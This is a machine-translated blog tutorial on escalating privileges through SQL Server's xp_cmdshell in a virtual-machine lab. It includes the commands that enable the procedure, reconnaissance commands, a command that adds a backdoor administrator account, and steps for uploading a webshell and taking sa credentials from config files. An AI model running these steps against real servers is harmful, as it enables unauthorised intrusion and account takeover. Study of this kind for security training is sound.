当前位置:网站首页>110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
2022-07-07 11:56:00 【qwsn】
In my submission , Whether studying safety or engaging in safety , More or less, I have some feelings and sense of mission !!!
List of articles
One 、Windows Sqlserver xp_cmdshell Stored procedure Authorization
1、XP_CMDSHELL Background of power raising :
If the database used in the website is sqlserver So if you find sa Password , Can be opened xp_cmdshell stored procedure , With sqlserver Execute system commands as . But not necessarily the system permissions , It also depends on the administrator installing at the beginning sqlserver Permission settings for .
2、XP_CMDSHELL Relevant concepts :
(1)xp_cmdshell stored procedure 【 The stored procedure is : One or more that have been precompiled into an executable procedure SQL Collection of statements 】, It is used to execute this machine cmd Ordered , System login required sa jurisdiction . By default ,sql server2005/2008 After installation ,xp_cmdshell Stored procedures are disabled , If you want to use it , You can turn on :
Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
Serial number | command | notes |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
2 | RECONFIGURE; | # Reconfiguration |
3 | EXEC sp_configure ‘xp_cmdshell’,1; | # Enable xp_cmdshell stored procedure |
4 | RECONFIGURE; | # Reconfiguration |
(2) Execute system command format :
Serial number | command | notes |
---|---|---|
1 | Exec master.dbo.xp_cmdshell ‘whoami’ | # View the current user |
2 | Exec master.dbo.xp_cmdshell ‘net user’ | # View all users |
3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | # see OS Information |
4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | # Add administrator group user |
(3) Disable it after use :Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
Serial number | command | notes |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
2 | RECONFIGURE; | # Reconfiguration |
3 | EXEC sp_configure ‘xp_cmdshell’,0; | # Ban xp_cmdshell stored procedure |
4 | RECONFIGURE; | # Reconfiguration |
3、XP_CMDSHELL The actual battle of raising power :
(1) Experimental environment :
1. Target environment :
(1) virtual machine Windows2008【target_sys.com】【192.168.97.131】
(2) Scripting language environment :php/asp The language environment exists
2. attack :
(1) virtual machine Win7【192.168.97.130】
(2)Firefox+Burpsuite+ Ant sword + Malaysia
3. The network environment :
(1)VMware Built NAT The Internet
(3) Target link :
URL:http://target_sys.com/upload.php
(3) Experimental process :
First step : Visit the target link , utilize MIME Break through the type limit of the white list , Upload up.aspx Malaysia
【 The above process is a little 】 The following is the right raising process :
The second step : Connect up.aspx Malaysia 【 The password for admin】, And click [File Manager] File management module , Search for sqlserver The account number and password of
Connecting Malaysia :
sqlserver The general storage location of the connection data :web.config、config.asp、conn.aspx、database.aspx, But the environment is really sidelined (www.demo1.com) Under the index.aspx Memory stores as User password :123456
The third step : Click on [DataBase] Database module , Use the just obtained sa Account connection mssql, Simultaneous discovery SQL SERVER Version is 2008
xp_cmdshell Stored procedures are used to execute native cmd Ordered , System login required sa jurisdiction
Step four :SQLExec Select from the drop-down box Add xp_cmdshell(SQL2005) This option , Turn on xp_cmdshell stored procedure
Step five : Use the just launched xp_cmdshell stored procedure , With sqlserver To execute some system commands as
Because viewing the current permission is also an ordinary user , So you can only execute some basic commands , You can also upload the overflow right lifting tool Then improve the permissions of the current user .
边栏推荐
- [encapsulation of time format tool functions]
- Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
- When sink is consumed in mysql, the self incrementing primary key has been set in the database table. How to operate in Flink?
- 【问道】编译原理
- Test the foundation of development, and teach you to prepare for a fully functional web platform environment
- R language Visual facet chart, hypothesis test, multivariable grouping t-test, visual multivariable grouping faceting boxplot, and add significance levels and jitter points
- 从工具升级为解决方案,有赞的新站位指向新价值
- 本地navicat连接liunx下的oracle报权限不足
- UP Meta—Web3.0世界创新型元宇宙金融协议
- Electron adding SQLite database
猜你喜欢
In my limited software testing experience, a full-time summary of automation testing experience
Summed up 200 Classic machine learning interview questions (with reference answers)
【滤波跟踪】捷联惯导纯惯导解算matlab实现
18 basic introduction to divider separator component of fleet tutorial (tutorial includes source code)
Suggestions on one-stop development of testing life
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]
OneDNS助力高校行业网络安全
【全栈计划 —— 编程语言之C#】基础入门知识一文懂
Mise en œuvre du codage Huffman et du décodage avec interface graphique par MATLAB
powershell cs-UTF-16LE编码上线
随机推荐
R語言使用magick包的image_mosaic函數和image_flatten函數把多張圖片堆疊在一起形成堆疊組合圖像(Stack layers on top of each other)
千人规模互联网公司研发效能成功之路
Ask about the version of flinkcdc2.2.0, which supports concurrency. Does this concurrency mean Multiple Parallelism? Now I find that mysqlcdc is full
Swiftui tutorial how to realize automatic scrolling function in 2 seconds
SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
What is high cohesion and low coupling?
Stm32f1 and stm32subeide programming example -max7219 drives 8-bit 7-segment nixie tube (based on SPI)
相机标定(1): 单目相机标定及张正友标定基本原理
【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
sink 消费 到 MySQL, 数据库表里面已经设置了 自增主键, flink 里面,如何 操作?
The annual salary of general test is 15W, and the annual salary of test and development is 30w+. What is the difference between the two?
[shortest circuit] acwing1128 Messenger: Floyd shortest circuit
Programming examples of stm32f1 and stm32subeide -315m super regenerative wireless remote control module drive
Superscalar processor design yaoyongbin Chapter 10 instruction submission excerpt
Explore cloud database of cloud services together
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
STM32 entry development write DS18B20 temperature sensor driver (read ambient temperature, support cascade)
Two week selection of tdengine community issues | phase II
Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
《论文阅读》Neural Approaches to Conversational AI(1)